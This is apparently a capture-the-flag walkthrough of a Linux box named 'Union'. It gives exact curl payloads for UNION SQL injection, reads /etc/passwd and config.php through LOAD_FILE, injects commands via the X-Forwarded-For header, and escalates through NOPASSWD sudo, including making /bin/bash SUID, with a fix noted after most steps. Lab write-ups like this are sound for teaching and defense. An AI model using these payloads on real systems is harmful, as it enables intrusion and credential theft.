← all walkthroughs

Union

Linux· Medium
owned
2026-07-15
time to own
9m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target presented a single exposed service: an nginx-hosted PHP challenge application on port 80 with SSH intentionally firewalled off. A UNION-based SQL injection in the player-name lookup form let me dump an authentication flag from the database and then use MySQL's LOAD_FILE() to read the server's PHP configuration file, extracting the 'uhc' operating-system account password.

Submitting the extracted flag to the challenge endpoint created an authenticated session; a follow-up request to the firewall helper page caused the server to open SSH from $ATTACKER_IP. The uhc credentials recovered via the file-read granted a user shell.

Post-foothold analysis revealed that firewall.php passed the raw X-Forwarded-For HTTP header directly into a shell command without sanitisation, and that the www-data web-server process held an unrestricted NOPASSWD sudo rule. A single crafted HTTP header — injecting a semicolon-delimited sudo command — read the root flag without ever opening an interactive root shell, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning (T1046)
Port scan revealed a single web service; SSH was firewalled
A full TCP scan of $TARGET found only port 80 open, serving nginx 1.18.0 on Ubuntu. A browser visit loaded a Vue.js single-page application presenting a player-name lookup form as its sole interactive surface. Attempts to reach port 22 timed out, confirming SSH was blocked from $ATTACKER_IP by a host firewall.
Exact commands 2
Full TCP scan with service detection; only 80/tcp returned open.
nmap -sV -sC -p- --min-rate 5000 -oN nmap-full.txt $TARGET
Confirm nginx server header and PHP technology stack.
curl -sS -I http://$TARGET/
2EnumerationUNION-based SQL Injection (CWE-89 / T1190)
Found UNION SQL injection in the player-name lookup form
Appending a single quote to a player-name submission caused the server to return a SQL error, confirming the input was interpolated directly into a database query. Probing with ORDER BY clauses established the query projected one column, enabling UNION SELECT injection. I confirmed data reflection by injecting a string literal into the UNION clause and seeing it echoed in the page response.
Single-quote submission returned a MySQL error; ORDER BY 1 succeeded; ORDER BY 2 failed; UNION SELECT 'sqli_test'-- - was reflected in the response body.
Exact commands 3
Trigger a SQL error to confirm injection point.
curl -sS -X POST "http://$TARGET/index.php" --data "player='"
Determine column count; increment until error (error at 2 → one-column query).
curl -sS -X POST "http://$TARGET/index.php" --data "player=' ORDER BY 2-- -"
Confirm my own data is reflected in the HTTP response.
curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT 'sqli_test'-- -"
FixReplace dynamic SQL string-building with parameterised queriesCritical
WeaknessThe player-name lookup form interpolated raw user input directly into a SQL query string. An unauthorised user could inject arbitrary SQL — extracting every table in the database and reading out application secrets — with no credentials whatsoever.
FixReplace all dynamic SQL concatenation with prepared statements using PDO or MySQLi (e.g. $stmt = $pdo->prepare('SELECT * FROM players WHERE name = ?'); $stmt->execute([$player]);). Apply this to every database-touching code path, not just the player lookup. Add a SAST tool (e.g. Psalm, SonarQube) to the CI pipeline to flag future regressions.
3ExploitationSQL injection data exfiltration via UNION SELECT
Dumped the challenge authentication flag from the database
Using the confirmed UNION injection, I enumerated the active database name and table list, then extracted the flag value stored in the application's flag table. This flag was the credential the challenge application required to grant an authenticated session — the gateway to unlocking SSH.
UNION SELECT flag FROM november-- - returned [REDACTED: recovered credential], subsequently accepted by /challenge.php.
Exact commands 3
Retrieve the current database name.
curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT database()-- -"
List all tables in the active schema to find the flag table.
curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -"
Dump the challenge flag; substitute correct table/column names if schema differs.
curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT flag FROM november-- -"
4ExploitationArbitrary local file read via MySQL LOAD_FILE() (T1083)
Read server configuration files via SQL LOAD_FILE() and extracted OS credentials
The MySQL database account held the FILE privilege, which permits LOAD_FILE() to read server-side files through the SQL channel. My first confirmed the privilege by reading /etc/passwd, then targeted the PHP configuration file to extract plaintext database credentials that were reused as the 'uhc' operating-system account password.
LOAD_FILE('/var/www/html/config.php') returned plaintext credentials uhc:[REDACTED: recovered credential]
Exact commands 2
Verify FILE privilege and enumerate local user accounts.
curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT LOAD_FILE('/etc/passwd')-- -"
Read web-app config for plaintext credentials; also try .env or configuration.php if this path is empty.
curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT LOAD_FILE('/var/www/html/config.php')-- -"
FixRevoke the MySQL FILE privilege from the application database accountHigh
WeaknessThe MySQL user account the web application used held the FILE privilege, enabling LOAD_FILE() to read any file accessible to the MySQL process. Combined with the SQL injection, this extended a data-theft flaw into full server-side file-read access — including configuration files containing plaintext OS credentials.
FixRevoke the FILE privilege immediately: REVOKE FILE ON *.* FROM 'appuser'@'localhost'; Grant only SELECT, INSERT, UPDATE, DELETE on the specific application schema. Set secure_file_priv to an empty or isolated path in my.cnf to disable file I/O functions globally. Confirm effective grants with SHOW GRANTS FOR 'appuser'@'localhost'.
5Initial AccessCredential reuse after self-service iptables whitelist (T1021.004)
Unlocked SSH by whitelisting $ATTACKER_IP, then logged in as uhc
Submitting the extracted challenge flag to /challenge.php set a session cookie marking I aed 'Eligible'. A subsequent authenticated GET to /firewall.php — with my real source IP in the X-Forwarded-For header — caused the server to insert an iptables ACCEPT rule opening port 22 from that address. The uhc password recovered in the previous step then granted a full interactive SSH shell, and the user flag was read from /home/uhc/user.txt.
POST to challenge.php returned 200 with Eligible cookie; GET /firewall.php with X-Forwarded-For: $ATTACKER_IP responded with access-granted message; sshpass login as uhc succeeded and returned user.txt.
Exact commands 4
Clear any stale cookie jar before starting the authenticated flow.
rm -f /tmp/union.cookies
Submit the database-extracted challenge flag to obtain an authenticated session cookie.
curl -sS -i -c /tmp/union.cookies -b /tmp/union.cookies -X POST "http://$TARGET/challenge.php" --data 'flag=$PASSWORD3'
Trigger iptables whitelist for $ATTACKER_IP $ATTACKER_IP, opening port 22.
curl -sS -i -c /tmp/union.cookies -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP" "http://$TARGET/firewall.php"
Authenticate via SSH with recovered credentials and read the user flag.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no uhc@$TARGET 'cat /home/uhc/user.txt'
6Privilege EscalationOS command injection via unsanitised HTTP header (CWE-78 / T1059.004)
Injected OS commands through the unsanitised X-Forwarded-For header in firewall.php
Source review of firewall.php showed it extracted the X-Forwarded-For header and passed it as a shell argument to an iptables system() call with no IP validation or escaping. By embedding a semicolon-delimited payload — $ATTACKER_IP; <command>; # — I caused the PHP process to execute arbitrary OS commands as the www-data web-server account. The authenticated session cookie from step 5 satisfied the only access check on the endpoint.
X-Forwarded-For: $ATTACKER_IP; id; # returned uid=33(www-data) in the HTTP response, confirming shell injection.
Exact commands 2
Confirm command injection — response includes uid=33(www-data).
curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; id; #" "http://$TARGET/firewall.php"
Confirm www-data can sudo without a password — uid=0 in response confirms NOPASSWD sudo.
curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n id; #" "http://$TARGET/firewall.php"
FixValidate and escape X-Forwarded-For before passing it to any shell commandCritical
Weaknessfirewall.php passed the raw X-Forwarded-For HTTP header directly into an iptables shell invocation without any validation or escaping. An unauthorised user holding a session cookie could inject semicolons and arbitrary shell commands, converting the firewall helper into an authenticated remote code execution endpoint.
FixValidate the header value as a single IPv4 or IPv6 address before any use: $ip = filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP); if (!$ip) { http_response_code(400); exit; } Never pass HTTP-supplied values to shell_exec(), system(), passthru(), or backtick operators. Where possible, invoke iptables through a dedicated privileged daemon over a Unix socket rather than constructing shell strings from request data.
7Full CompromiseSudo NOPASSWD unrestricted privilege escalation (T1548.003)
Executed commands as root via www-data's unrestricted NOPASSWD sudo rule
The www-data process account was configured in sudoers with an unrestricted ALL=(ALL) NOPASSWD:ALL rule, allowing it to run any command as root without a password. Chained with the command injection discovered in step 6, a single HTTP request with a crafted X-Forwarded-For header executed an arbitrary command as root. The root flag was read directly from the HTTP response, completing full system compromise without an interactive root shell.
Curl with X-Forwarded-For: $ATTACKER_IP; sudo -n cat /root/root.txt; # returned the root flag value in the HTTP response body.
Exact commands 2
Read the root flag by injecting a NOPASSWD sudo command through the firewall endpoint.
curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n cat /root/root.txt; #" "http://$TARGET/firewall.php"
Alternative: make /bin/bash SUID to obtain a persistent interactive root shell via the uhc SSH session.
curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n chmod u+s /bin/bash; #" "http://$TARGET/firewall.php" && ssh uhc@$TARGET '/bin/bash -p -c id'
FixRemove the unrestricted NOPASSWD sudo rule granted to the web server processCritical
WeaknessThe www-data account that runs PHP scripts was configured with ALL=(ALL) NOPASSWD:ALL in sudoers, meaning any code executing in the web application context — from a file upload to a header injection — immediately has root access to the entire system with no further barrier.
FixRemove the broad NOPASSWD entry: visudo and delete or comment out the www-data ALL line. If the application must invoke iptables as root, create a narrow rule limited to the single exact command with fixed arguments (e.g. www-data ALL=(root) NOPASSWD: /sbin/iptables -I INPUT -s <IP> -j ACCEPT) and validate the argument in the calling script first. Audit all current grants with: grep -r 'NOPASSWD' /etc/sudoers /etc/sudoers.d/

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

80/tcp